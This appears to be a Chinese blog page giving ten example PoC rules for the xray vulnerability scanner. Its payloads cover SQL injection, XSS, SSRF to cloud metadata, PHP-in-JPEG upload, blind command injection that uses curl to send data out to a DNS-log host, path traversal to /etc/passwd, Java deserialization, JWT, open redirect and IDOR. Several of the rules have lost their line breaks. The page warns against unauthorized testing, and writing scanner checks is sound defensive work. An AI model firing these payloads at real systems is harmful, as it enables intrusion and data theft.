当前位置: 首页 > news >正文

xray-poc编写示例

禁止未授权扫描和测试行为!!!

1. SQL 时间盲注检测 (Time-Based Blind SQLi)

name: generic/time-based-sqli
rules:- method: GETpath: "/product?id=1' AND (SELECT 1 FROM (SELECT SLEEP(5))a)--+"expression: |response.status == 200 && response.body.duration >= 5000detail: |Detected time-based SQL injection via SLEEP(5) payload.Vulnerable parameter: id

2. 通用 DOM 型 XSS 检测

name: generic/dom-xss
rules:- method: GETpath: "/search?q=<svg/onload=alert(1)>"expression: |response.status == 200 && response.body.bcontains(b"<svg") && response.headers["Content-Type"].contains("text/html")detail: |Potential DOM XSS via unencoded SVG payload in search parameter

3. SSRF 检测

name: generic/ssrf-aws-metadata
rules:- method: POSTpath: "/api/import"body: |{"url":"http://169.254.169.254/latest/meta-data/"}expression: |response.status == 200 && response.body.bmatches(b'(?i)instance-id|ami-id')detail: |SSRF vulnerability exposing AWS metadata service

4. 文件上传绕过检测 (Polyglot JPEG)

name: generic/file-upload-bypass
rules:- method: POSTpath: "/upload"headers:Content-Type: multipart/form-data; boundary=XRAYbody: |--XRAYContent-Disposition: form-data; name="file"; filename="test.jpg"Content-Type: image/jpeg\xFF\xD8\xFF\xE0<?php echo md5(123); ?>--XRAY--expression: |response.status == 200 && response.body.bmatches(b'[a-f0-9]{32}')detail: |File upload bypass via polyglot JPEG/PHP file

5. RCE 检测 (命令注入盲测)

name: generic/rce-blind
rules:- method: GETpath: "/api/ping?ip=127.0.0.1;curl${IFS}http://dnslog.ceye.io/$(date|md5sum|cut${IFS}-c1-8)"expression: |response.status == 200search: |dnslog.ceye.iodetail: |Blind RCE via command injection with DNS exfiltration

6. 目录遍历高级检测

name: generic/path-traversal
rules:- method: GETpath: "/download?file=....//....//....//etc/passwd"expression: |response.status == 200 && response.body.bmatches(b'(root:[x*]:0:0:)')detail: |Path traversal via nested directory backtracking

7. 反序列化漏洞检测

name: generic/java-deserialization
rules:- method: POSTpath: "/api/data"headers:Content-Type: application/java-serialized-objectbody: |rO0ABXQAAAAAAAQA... (Base64编码的 CommonsCollections5 payload)expression: |response.status == 500 &&response.body.bmatches(b'(?i)InvokerTransformer|CommonsCollections)')detail: |Java deserialization vulnerability detected via CommonsCollections gadget

8. JWT 弱密钥检测

name: generic/jwt-weak-key
rules:- method: GETpath: "/api/user"headers:Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5cexpression: |response.status == 200 && response.headers["Set-Cookie"].contains("invalid_token") == falsedetail: |JWT vulnerable to HS256 brute-force (tested with secret key 'secret')

9. OAuth 开放重定向

name: generic/oauth-open-redirect
rules:- method: GETpath: "/oauth/authorize?redirect_uri=http://evil.com"expression: |response.status == 302 && response.headers["Location"].startswith("http://evil.com")detail: |Open redirect vulnerability in OAuth authorization endpoint

10. 权限越权漏洞检测

name: generic/idor
variables:user_id: "randomInt(1000,9999)"
rules:- method: GETpath: "/api/user/{{user_id}}"expression: response.status == 403- method: GETpath: "/api/user/{{user_id}}"headers: X-Original-User-ID: "admin"expression: |response.status == 200 && response.body.bmatches(b'"role":"admin"')detail: |IDOR vulnerability via X-Original-User-ID header manipulation

相关文章:

  • Java 泛型参数问题:‘ResponseData.this‘ cannot be referenced from a static contex
  • GoogleTest:简单示例及ASSERT/EXPECT说明
  • 【编译原理】第四章 习题
  • pandas读取Excel数据(.xlsx和.xls)到treeview
  • 传感器的精度,灵敏度等概念介绍
  • terraform实现本地加密与解密
  • vue3内置组件Suspense的使用
  • 在Linux中,KVM和Docker在Linux虚拟化中的区别是什么?
  • Nginx 核心功能02
  • WGCLOUD使用 - 如何监控RabbitMQ运行参数
  • Python10天冲刺-设计模型之策略模式
  • 机器学习经典算法:用决策树原理优化新能源汽车续航能力
  • 【Redis】String详细介绍及其应用场景
  • 深度学习系统学习系列【1】之基本知识
  • npm宿主依赖、宿主环境依赖(peerDependencies)(指由宿主环境提供的依赖)
  • Ubuntu20.04如何优雅的安装ROS 1(胎教级教程)
  • Ocelot与.NETcore7.0部署(基于腾讯云)
  • loads、dumps、jsonpath使用场景
  • 上位机知识篇---二进制操作
  • 科学养生,解锁健康生活密码
  • 沈晓萍︱严金清:比斯坦因更早获得敦煌文物的无锡名士
  • 铁路上海站迎五一假期客流最高峰,今日预计发送77万人次
  • 浪尖计划再出发:万亿之城2030课题组赴九城调研万亿产业
  • 民生访谈|支持外贸企业拓内销,上海正抓紧制定便利措施
  • 国台办:台商台企有信心与国家一起打赢这场关税战
  • 习近平在上海考察时强调,加快建成具有全球影响力的科技创新高地